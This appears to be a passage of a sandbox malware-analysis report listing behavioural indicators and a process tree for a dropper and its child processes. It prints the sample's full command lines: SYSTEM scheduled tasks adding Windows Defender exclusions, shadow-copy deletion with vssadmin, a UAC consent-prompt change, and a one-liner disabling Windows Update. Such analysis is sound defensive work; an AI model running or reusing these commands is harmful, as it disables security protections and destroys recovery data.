Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\URL = "http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IESR02"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\URL = "http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IE11SR"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\DefaultScope = "{0633EE93-D776-472f-A0FF-E1416B8B2E3A}"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\NTURL = "http://www.bing.com/search?q={searchTerms}&src=IE-SearchBox&FORM=IENTSR"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{0977C49B-5585-11F1-AF70-D2B4DCFC1B56} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}\SuggestionsURLFallback = "http://api.bing.com/qsml.aspx?query={searchTerms}&maxwidth={ie:maxWidth}&rowheight={ie:rowHeight}&sectionHeight={ie:sectionHeight}&FORM=IE11SS&market={language}"	iexplore.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	L70I7L.exe
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings	OpenWith.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
4168	NOTEPAD.EXE

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3912	schtasks.exe
2968	schtasks.exe
3708	schtasks.exe
1844	schtasks.exe
3708	schtasks.exe
1172	schtasks.exe
2448	schtasks.exe
4260	schtasks.exe
2024	schtasks.exe
1796	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
536	instZIP.586506.xpc.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe
1056	L70I7L.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	1056	L70I7L.exe
Token: SeSystemtimePrivilege	2400	LjEXAb.exe
Token: SeDebugPrivilege	2864	FpkfHJLB.exe
Token: SeTakeOwnershipPrivilege	4184	takeown.exe
Token: SeRestorePrivilege	4876	icacls.exe
Token: SeTakeOwnershipPrivilege	1796	takeown.exe
Token: SeRestorePrivilege	1996	icacls.exe
Token: SeDebugPrivilege	628	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2304	iexplore.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
1052	OpenWith.exe
2304	iexplore.exe
2304	iexplore.exe
4408	IEXPLORE.EXE
4408	IEXPLORE.EXE
4408	IEXPLORE.EXE
4408	IEXPLORE.EXE
1516	QcSV28Yr.exe
1516	QcSV28Yr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3276 wrote to memory of 2304	3276	MSOXMLED.EXE	116
PID 2304 wrote to memory of 4408	2304	iexplore.exe	117
PID 1056 wrote to memory of 1160	1056	L70I7L.exe	20
PID 1056 wrote to memory of 1160	1056	L70I7L.exe	20
PID 1056 wrote to memory of 4268	1056	L70I7L.exe	118
PID 1056 wrote to memory of 3960	1056	L70I7L.exe	120
PID 4268 wrote to memory of 1328	4268	cmd.exe	123
PID 1056 wrote to memory of 1264	1056	L70I7L.exe	22
PID 1056 wrote to memory of 1264	1056	L70I7L.exe	22
PID 3960 wrote to memory of 2448	3960	cmd.exe	124
PID 1056 wrote to memory of 4960	1056	L70I7L.exe	125
PID 3960 wrote to memory of 1092	3960	cmd.exe	177
PID 4960 wrote to memory of 3344	4960	cmd.exe	175
PID 1056 wrote to memory of 3504	1056	L70I7L.exe	130
PID 1056 wrote to memory of 4400	1056	L70I7L.exe	132
PID 3960 wrote to memory of 4324	3960	cmd.exe	134
PID 4400 wrote to memory of 3912	4400	cmd.exe	181
PID 3504 wrote to memory of 900	3504	cmd.exe	136
PID 4400 wrote to memory of 4904	4400	cmd.exe	137
PID 1056 wrote to memory of 4380	1056	L70I7L.exe	138
PID 4380 wrote to memory of 2640	4380	cmd.exe	141
PID 4400 wrote to memory of 3708	4400	cmd.exe	142
PID 1056 wrote to memory of 4500	1056	L70I7L.exe	144
PID 4500 wrote to memory of 3736	4500	cmd.exe	147
PID 1056 wrote to memory of 1484	1056	L70I7L.exe	25
PID 1056 wrote to memory of 1484	1056	L70I7L.exe	25
PID 1056 wrote to memory of 3744	1056	L70I7L.exe	148
PID 3744 wrote to memory of 756	3744	cmd.exe	152
PID 1056 wrote to memory of 4168	1056	L70I7L.exe	153
PID 4168 wrote to memory of 2024	4168	cmd.exe	155
PID 1520 wrote to memory of 2376	1520	cmd.exe	156
PID 1056 wrote to memory of 2084	1056	L70I7L.exe	157
PID 2084 wrote to memory of 3044	2084	cmd.exe	159
PID 1056 wrote to memory of 3924	1056	L70I7L.exe	160
PID 1056 wrote to memory of 2828	1056	L70I7L.exe	162
PID 2828 wrote to memory of 2012	2828	cmd.exe	164
PID 3924 wrote to memory of 2968	3924	cmd.exe	165
PID 1056 wrote to memory of 3012	1056	L70I7L.exe	166
PID 3924 wrote to memory of 2460	3924	cmd.exe	168
PID 3012 wrote to memory of 2884	3012	cmd.exe	169
PID 3924 wrote to memory of 1840	3924	cmd.exe	171
PID 1056 wrote to memory of 4540	1056	L70I7L.exe	172
PID 4540 wrote to memory of 2784	4540	cmd.exe	174
PID 1056 wrote to memory of 1664	1056	L70I7L.exe	29
PID 1056 wrote to memory of 1664	1056	L70I7L.exe	29
PID 4572 wrote to memory of 3344	4572	cmd.exe	175
PID 1056 wrote to memory of 1092	1056	L70I7L.exe	177
PID 1092 wrote to memory of 2832	1092	cmd.exe	179
PID 1056 wrote to memory of 4044	1056	L70I7L.exe	180
PID 764 wrote to memory of 3284	764	cmd.exe	182
PID 4044 wrote to memory of 2996	4044	cmd.exe	183
PID 1056 wrote to memory of 1524	1056	L70I7L.exe	184
PID 1056 wrote to memory of 2592	1056	L70I7L.exe	185
PID 1524 wrote to memory of 4808	1524	cmd.exe	188
PID 2592 wrote to memory of 3708	2592	cmd.exe	189
PID 1056 wrote to memory of 3896	1056	L70I7L.exe	190
PID 2592 wrote to memory of 3736	2592	cmd.exe	192
PID 3896 wrote to memory of 2284	3896	cmd.exe	193
PID 2592 wrote to memory of 1576	2592	cmd.exe	195
PID 1056 wrote to memory of 2180	1056	L70I7L.exe	196
PID 2180 wrote to memory of 1844	2180	cmd.exe	198
PID 2180 wrote to memory of 2432	2180	cmd.exe	199
PID 2180 wrote to memory of 3044	2180	cmd.exe	201
PID 812 wrote to memory of 4692	812	cmd.exe	204

System policy modification 1 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	LjEXAb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	LjEXAb.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1160
- C:\Users\Public\bFiIck\L70I7L.exe
  C:\Users\Public\bFiIck\L70I7L.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\bFiIck" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4268
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\bFiIck" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1328
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bFiIck\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:3960
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\bFiIck\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2448
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1092
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4324
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\bFiIck" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4960
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\bFiIck" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3344
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\bFiIck" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3504
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\bFiIck" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:900
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:4400
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3912
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4904
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3708
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\bFiIck\L70I7L.exe" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\bFiIck\L70I7L.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2640
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\bFiIck\L70I7L.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4500
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\bFiIck\L70I7L.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3736
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\bFiIck\L70I7L.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3744
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\bFiIck\L70I7L.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:756
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\bFiIck\adoresd.dat" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4168
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\bFiIck\adoresd.dat" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2024
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\bFiIck\adoresd.dat" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2084
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\bFiIck\adoresd.dat" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3044
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:3924
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2968
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2460
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1840
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\bFiIck\adoresd.dat" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2828
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\bFiIck\adoresd.dat" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2012
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\bFiIck\msadox.tb" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3012
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\bFiIck\msadox.tb" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2884
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\bFiIck\msadox.tb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4540
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\bFiIck\msadox.tb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2784
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\bFiIck\msadox.tb" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1092
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\bFiIck\msadox.tb" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2832
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\bFiIck\UxEnhance64.dll" /inheritance:r
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4044
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3912
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\bFiIck\UxEnhance64.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2996
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\bFiIck\UxEnhance64.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1524
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\bFiIck\UxEnhance64.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4808
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:2592
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3708
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3736
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:1576
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c icacls "C:\Users\Public\bFiIck\UxEnhance64.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3896
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Public\bFiIck\UxEnhance64.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2284
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - Suspicious use of WriteProcessMemory
    PID:2180
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1844
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2432
  - - C:\Windows\system32\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:3044
- - C:\Program Files (x86)\LjEXAb\LjEXAb.exe
    "C:\Program Files (x86)\LjEXAb\LjEXAb.exe"
    3⤵
    - UAC bypass
    - Drops file in Drivers directory
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Drops file in Program Files directory
    - Event Triggered Execution: Screensaver
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Modifies Control Panel
    - Suspicious use of AdjustPrivilegeToken
    - System policy modification
    PID:2400
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c vssadmin delete shadows /all /quiet
      4⤵
      System Location Discovery: System Language Discovery
      PID:3792
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c icacls "C:\Program Files (x86)\LjEXAb" /inheritance:r
      4⤵
      System Location Discovery: System Language Discovery
      PID:4612
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\LjEXAb" /inheritance:r
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        System Location Discovery: System Language Discovery
        
        PID:3412
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c echo.>c:\xxxx.ini
      4⤵
      PID:3384
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c echo.>c:\xxxx.ini
      4⤵
      System Location Discovery: System Language Discovery
      PID:456
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2376
    - - C:\Windows\SysWOW64\net.exe
        
        net stop wuauserv
        5⤵
        
        PID:3256
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        6⤵
        
        PID:1620
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config wuauserv start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:3508
    - - C:\Windows\SysWOW64\sc.exe
        
        sc failure wuauserv reset= 0 actions= ""
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:4136
    - - C:\Windows\SysWOW64\net.exe
        
        net stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1600
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2524
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config UsoSvc start= disabled
        5⤵
        Launches sc.exe
        
        PID:1140
    - - C:\Windows\SysWOW64\sc.exe
        
        sc failure UsoSvc reset= 0 actions= ""
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:1844
    - - C:\Windows\SysWOW64\net.exe
        
        net stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3788
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3088
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config uhssvc start= disabled
        5⤵
        Launches sc.exe
        System Location Discovery: System Language Discovery
        
        PID:2308
    - - C:\Windows\SysWOW64\sc.exe
        
        sc failure uhssvc reset= 0 actions= ""
        5⤵
        Launches sc.exe
        
        PID:2500
    - - C:\Windows\SysWOW64\net.exe
        
        net stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3416
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        6⤵
